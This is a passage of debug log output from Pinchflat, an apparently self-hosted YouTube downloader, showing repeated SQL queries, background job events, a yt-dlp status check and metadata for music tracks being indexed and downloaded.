"/downloads/Classics/Classics/2023-08-10Take a Chance on (RHEIN)Me(TALL)[FMVK78FgDMY].m4a", false, false, 2, [], 1, ~U[2023-08-10 23:46:17Z], ~U[2026-07-24 02:20:06Z], ~U[2026-07-24 02:20:06Z], "song used: https://youtu.be/-crgQGdpZR0\n\nwill probably be my last upload for a few months, unless I decide to make something in the next week. will be starting college so I've got no clue if I'll have time for these silly little edits. I greatly appreciate the support I've garnered over this past summer, and I'll be sure to return to this channel. probably. maybe. again, thank you all so much\n\nalso, I LOVE THE WIESEL IT'S SO STUPID WHY DID THEY DESIGN IT OH MY GOD", "Take a Chance on (RHEIN)Me(TALL)", "FMVK78FgDMY", 246, false, "https://www.youtube.com/watch?v=FMVK78FgDMY", "/downloads/Classics/Classics/2023-08-10Take a Chance on (RHEIN)Me(TALL)[FMVK78FgDMY].m4a", false, 2, ~U[2023-08-10 23:46:17Z]] 22:20:06.691 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=170.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:06.692 [debug] QUERY OK source="media_profiles" db=0.1ms idle=169.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:06.692 [debug] QUERY OK source="media_items" db=0.1ms idle=169.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [39] 22:20:06.692 [debug] Current batch of media processed. Will check again in 1000ms 22:20:06.839 [info] {"args":{"id":179},"id":187,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2669798,"event":"job:stop","queue_time":3796704,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:06.947 [info] {"args":{"id":181},"id":189,"meta":{},"system_time":1784859606947460248,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:06.948 [debug] QUERY OK source="media_items" db=0.2ms idle=255.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [181] 22:20:06.948 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:20:06.948 [debug] QUERY OK source="sources" db=0.1ms idle=255.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:06.948 [debug] QUERY OK source="media_profiles" db=0.1ms idle=108.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:06.949 [debug] QUERY OK source="media_items" db=0.2ms idle=99.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [181] 22:20:06.949 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [181] 22:20:06.950 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:06.950 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:06.950 [debug] Running yt-dlp command for action: get_downloadable_status 22:20:06.951 [debug] QUERY OK source="settings" db=0.0ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:06.951 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:06.951 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:06.951 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=8huYQbPK9pI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2e/0d/2e0dc3594bad7db3b6696d4e5fe737710ac99d0047a577863123541666c6b7bc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:07.521 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by The Orchard Enterprises\n\nArtificial Light · Demon Hunter\n\nExtremist (Deluxe Edition)\n\n℗ 2014 Solid State Records\n\nReleased on: 2015-10-30\n\nAuto-generated by YouTube.", "duration" => 269, "filename" => "/downloads/ChristianMetal/ChristianMetal/2017-01-25Artificial Light[YzokiD0V3NE].NA", "id" => "YzokiD0V3NE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=YzokiD0V3NE", "playlist_index" => 21, "timestamp" => 1485384103, "title" => "Artificial Light", "upload_date" => "20170125"} 22:20:07.522 [debug] QUERY OK source="sources" db=0.2ms idle=571.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:07.522 [debug] QUERY OK source="sources" db=0.1ms idle=572.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:07.523 [debug] QUERY OK source="media_items" db=0.1ms idle=571.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-01-25 22:41:43Z], 5] 22:20:07.718 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Classic song from the Rankin-Bass Return of the King. All credit to them, none to me.", "duration" => 97, "filename" => "/downloads/Classics/Classics/2012-12-06Where There's a Whip There's a Way![VoAfb3f04mo].m4a", "id" => "VoAfb3f04mo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=VoAfb3f04mo", "playlist_index" => 3, "timestamp" => 1354767588, "title" => "Where There's a Whip There's a Way!", "upload_date" => "20121206"} 22:20:07.811 [debug] QUERY OK source="media_items" db=288.3ms idle=571.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nArtificial Light · Demon Hunter\n\nExtremist (Deluxe Edition)\n\n℗ 2014 Solid State Records\n\nReleased on: 2015-10-30\n\nAuto-generated by YouTube.", "Artificial Light", "1eb5471e-0ce3-47c5-84bf-6e331cc77a32", false, "YzokiD0V3NE", 269, false, "https://www.youtube.com/watch?v=YzokiD0V3NE", 21, "/downloads/ChristianMetal/ChristianMetal/2017-01-25Artificial Light[YzokiD0V3NE].NA", false, false, 5, [], 5, ~U[2017-01-25 22:41:43Z], ~U[2026-07-24 02:20:07Z], ~U[2026-07-24 02:20:07Z], "Provided to YouTube by The Orchard Enterprises\n\nArtificial Light · Demon Hunter\n\nExtremist (Deluxe Edition)\n\n℗ 2014 Solid State Records\n\nReleased on: 2015-10-30\n\nAuto-generated by YouTube.", "Artificial Light", "YzokiD0V3NE", 269, false, "https://www.youtube.com/watch?v=YzokiD0V3NE", "/downloads/ChristianMetal/ChristianMetal/2017-01-25Artificial Light[YzokiD0V3NE].NA", false, 5, ~U[2017-01-25 22:41:43Z]] 22:20:07.818 [debug] QUERY OK source="sources" db=5.9ms idle=289.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:07.818 [debug] QUERY OK source="media_profiles" db=0.1ms idle=295.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:07.818 [debug] QUERY OK source="media_items" db=0.2ms idle=295.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [187] 22:20:07.818 [info] Kicking off download for media item #187 (YzokiD0V3NE) 22:20:07.947 [debug] QUERY OK source="sources" db=229.1ms idle=766.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:20:08.184 [debug] QUERY OK source="tasks" db=235.9ms queue=0.1ms idle=128.5ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [191, 187, ~U[2026-07-24 02:20:07Z], ~U[2026-07-24 02:20:07Z]] 22:20:08.184 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by TuneCore\n\nThe Way Back Home · Spoken\n\nThe Way Back Home\n\n℗ 2020 Spoken\n\nReleased on: 2020-02-21\n\nAuto-generated by YouTube.", "duration" => 220, "filename" => "/downloads/ChristianMetal/ChristianMetal/2020-02-20The Way Back Home[c31D0X2ypWQ].m4a", "id" => "c31D0X2ypWQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=c31D0X2ypWQ", "playlist_index" => 22, "timestamp" => 1582193026, "title" => "The Way Back Home", "upload_date" => "20200220"} 22:20:08.184 [debug] QUERY OK source="sources" db=0.2ms idle=237.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:08.185 [debug] QUERY OK source="sources" db=0.1ms idle=237.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:08.185 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-02-20 10:03:46Z], 5] 22:20:08.377 [debug] QUERY OK source="media_items" db=166.2ms idle=1.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by TuneCore\n\nThe Way Back Home · Spoken\n\nThe Way Back Home\n\n℗ 2020 Spoken\n\nReleased on: 2020-02-21\n\nAuto-generated by YouTube.", "The Way Back Home", "1e8be441-5fa6-456b-b988-901d77693d2f", false, "c31D0X2ypWQ", 220, false, "https://www.youtube.com/watch?v=c31D0X2ypWQ", 22, "/downloads/ChristianMetal/ChristianMetal/2020-02-20The Way Back Home[c31D0X2ypWQ].m4a", false, false, 5, [], 1, ~U[2020-02-20 10:03:46Z], ~U[2026-07-24 02:20:08Z], ~U[2026-07-24 02:20:08Z], "Provided to YouTube by TuneCore\n\nThe Way Back Home · Spoken\n\nThe Way Back Home\n\n℗ 2020 Spoken\n\nReleased on: 2020-02-21\n\nAuto-generated by YouTube.", "The Way Back Home", "c31D0X2ypWQ", 220, false, "https://www.youtube.com/watch?v=c31D0X2ypWQ", "/downloads/ChristianMetal/ChristianMetal/2020-02-20The Way Back Home[c31D0X2ypWQ].m4a", false, 5, ~U[2020-02-20 10:03:46Z]] 22:20:08.378 [debug] QUERY OK source="sources" db=429.9ms queue=0.3ms idle=128.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:08.378 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=193.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:08.378 [debug] QUERY OK source="media_items" db=0.4ms idle=193.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2012-12-06 04:19:48Z], 2] 22:20:08.379 [debug] QUERY OK source="media_profiles" db=0.5ms idle=193.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:08.379 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=1.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [188] 22:20:08.380 [debug] Current batch of media processed. Will check again in 1000ms 22:20:08.586 [info] POST /sources/4/force_index 22:20:08.586 [debug] QUERY OK source="media_items" db=207.6ms idle=27.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Classic song from the Rankin-Bass Return of the King. All credit to them, none to me.", "Where There's a Whip There's a Way!", "dc7ba079-e37f-41fc-acdd-ffa337635db2", false, "VoAfb3f04mo", 97, false, "https://www.youtube.com/watch?v=VoAfb3f04mo", 3, "/downloads/Classics/Classics/2012-12-06Where There's a Whip There's a Way![VoAfb3f04mo].m4a", false, false, 2, [], 1, ~U[2012-12-06 04:19:48Z], ~U[2026-07-24 02:20:08Z], ~U[2026-07-24 02:20:08Z], "Classic song from the Rankin-Bass Return of the King. All credit to them, none to me.", "Where There's a Whip There's a Way!", "VoAfb3f04mo", 97, false, "https://www.youtube.com/watch?v=VoAfb3f04mo", "/downloads/Classics/Classics/2012-12-06Where There's a Whip There's a Way![VoAfb3f04mo].m4a", false, 2, ~U[2012-12-06 04:19:48Z]] 22:20:08.587 [debug] Processing with PinchflatWeb.Sources.SourceController.force_index/2 Parameters: %{"_csrf_token" => "OQZpAx0SBXMfJ1MpNj1mEGdZWwllOA0mPkZ4tZl2tAgyTpWF73oz6LZe", "_method" => "post", "source_id" => "4"} Pipelines: [:browser] 22:20:08.587 [debug] QUERY OK source="sources" db=0.4ms idle=208.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:08.587 [debug] QUERY OK source="sources" db=0.3ms idle=208.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:08.588 [debug] QUERY OK source="media_profiles" db=0.3ms idle=208.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", 